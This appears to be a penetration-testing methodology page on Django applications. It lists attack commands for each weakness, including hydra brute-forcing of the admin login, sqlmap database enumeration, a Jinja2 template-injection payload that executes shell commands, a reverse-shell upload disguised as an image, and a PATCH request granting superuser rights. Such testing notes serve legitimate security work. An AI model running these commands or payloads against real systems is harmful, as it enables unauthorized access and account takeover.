Django Django
Table of Contents
- Components
- Architecture
- Attack Surface
- Django Admin — Default Exposed Interface
- SQL Injection — Raw Queries
- Server-Side Template Injection (SSTI)
- CSRF
- XSS — Template Auto-escaping Disabled
- Debug Mode — Information Disclosure
- Insecure Direct Object References
- Django REST Framework — Browsable API
- File Upload
- Mass Assignment via RF Serialisers
- Enumeration Tips
- Tips
identifier: 20260613T000002
A high-level Python web framework following the Model-View-Template (MVT) pattern. Django includes a large standard library covering authentication, ORM, admin interface, and form handling out of the box. Commonly paired with PostgreSQL or MySQL and deployed behind Nginx or Apache with Gunicorn as the application server.
Related: Web Application Testing Methodology API Testing Methodology SQL Injection XSS CSRF
Components
| Layer | Technology | Role |
|---|---|---|
| Framework | Django | MVT web framework |
| ORM | Django ORM | Database abstraction layer |
| Database | PostgreSQL / MySQL | Relational database |
| API | DDjango REST Framework | Optional REST API layer |
| Server | Gunicorn + Nginx | Application and web server |
| Cache | Redis / Memcached | Optional caching layer |
Architecture
Browser → Nginx → Gunicorn → Django (urls.py → views.py → models.py) → Database
Django routes requests via urls.py, processes them in views.py,
and interacts with the database through models.py via the ORM.
Templates handle HTML rendering server-side. DDjango REST Framework
(DRF) adds serialisers and viewsets for API endpoints.
Attack Surface
Django Admin — Default Exposed Interface
Django ships with a powerful admin interface at /admin/ by
default. It is frequently left enabled in production with weak
or default credentials.
curl http://$IP/admin/
If accessible, attempt credential bruteforce — Django admin lockout is not enabled by default:
hydra -l admin -P /usr/share/wordlists/rockyou.txt \ http-post-form \ "$IP/admin/login/:username=^USER^&password=^PASS^&csrfmiddlewaretoken=<token>:Please enter the correct"
Note that Django admin requires the CSRF token — capture it from the login page first and include it in the Hydra form string.
SQL Injection — Raw Queries
Django's ORM parameterises queries by default, making standard SQLi difficult. However, raw queries bypass this protection:
# Vulnerable
User.objects.raw(f"SELECT * FROM users WHERE name = '{name}'")
# Also vulnerable
cursor.execute(f"SELECT * FROM users WHERE id = {id}")
Test parameters normally with SQLMap — raw query usage is common in performance-sensitive code paths:
sqlmap -u "http://$IP/search/?q=test" --dbs
Server-Side Template Injection (SSTI)
Django uses its own template engine which is sandboxed and generally safe. However, applications sometimes use Jinja2 instead, which is exploitable.
# Test for SSTI curl "http://$IP/page/?name={{7*7}}"
If the response contains 49, SSTI is confirmed. Jinja2 SSTI
can lead to RCE via Python object traversal:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
CSRF
Django includes CSRF protection by default via a middleware and template tag. Common bypasses:
CsrfViewMiddlewareremoved fromMIDDLEWAREin settings@csrf_exemptdecorator on individual views- Missing
{% csrf_token %}in forms - AJAX requests not including the
X-CSRFTokenheader
Test by submitting forms without the CSRF token and checking if the request succeeds. See CSRF for detail.
XSS — Template Auto-escaping Disabled
Django templates auto-escape output by default. Escaping can
be disabled with the safe filter or {% autoescape off %}:
{{ user_input|safe }}
{% autoescape off %}{{ user_input }}{% endautoescape %}
Search template files for these patterns if source access is available. Test all input fields for reflected and stored XSS. See XSS for detail.
Debug Mode — Information Disclosure
Django's debug mode exposes detailed error pages including full stack traces, local variables, settings values, and installed apps. It should never be enabled in production.
Trigger an error to check:
curl "http://$IP/nonexistent-path-that-causes-404" curl "http://$IP/?id='"
A Django debug error page reveals:
- Full file paths on the server
- Python version and installed packages
- Database configuration
SECRET_KEYvalue in some older versions
Insecure Direct Object References
Django views commonly use integer primary keys in URLs:
/api/users/1/ /api/orders/42/
Test whether access controls are enforced per object or just per endpoint. See IDOR for detail.
Django REST Framework — Browsable API
DRF includes a browsable HTML API interface enabled by default. It may expose endpoints and their accepted parameters without authentication:
curl -H "Accept: text/html" http://$IP/api/
Also check DRF permission classes — AllowAny on sensitive
endpoints is a common misconfiguration:
# Overly permissive permission_classes = [AllowAny] # Should be permission_classes = [IsAuthenticated]
File Upload
Django handles file uploads via FileField and ImageField.
Common issues:
- No file type validation — upload a Python script or web shell
- Files served from a path within the web root — directly accessible via browser
- Pillow image processing vulnerabilities if used for validation
# Try uploading a Python reverse shell disguised as an image curl -X POST http://$IP/upload/ \ -F "file=@shell.py;type=image/jpeg"
Mass Assignment via RF Serialisers
DRF serialisers can expose writable fields that should be read-only. Test by sending extra fields in POST/PUT requests:
curl -X PATCH http://$IP/api/users/1/ \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"is_staff":true,"is_superuser":true}'
Enumeration Tips
- Always check
/admin/— it is present by default - Check
/api/and/api/v1/for DRF endpoints - DRF browsable API at
/api/?format=apireveals available endpoints and methods - Django debug pages reveal
SECRET_KEY— used to forge signed cookies and CSRF tokens if obtained - Check
robots.txtandsitemap.xml— Django apps often populate these automatically - Static files live under
/static/and media uploads under/media/by default — both worth browsing
Tips
- Debug mode is the highest-value finding in a Django app — always try to trigger error pages
- The
SECRET_KEYis critical — if debug mode exposes it, Django's signing framework (sessions, CSRF tokens, password reset links) is compromised - SSTI in Jinja2 leads to RCE — always test template injection on any parameter reflected in the response
- DRF permission misconfigurations are common — test every endpoint without authentication before assuming it is protected
- Django admin brute force is viable when lockout is not configured — common in CTFs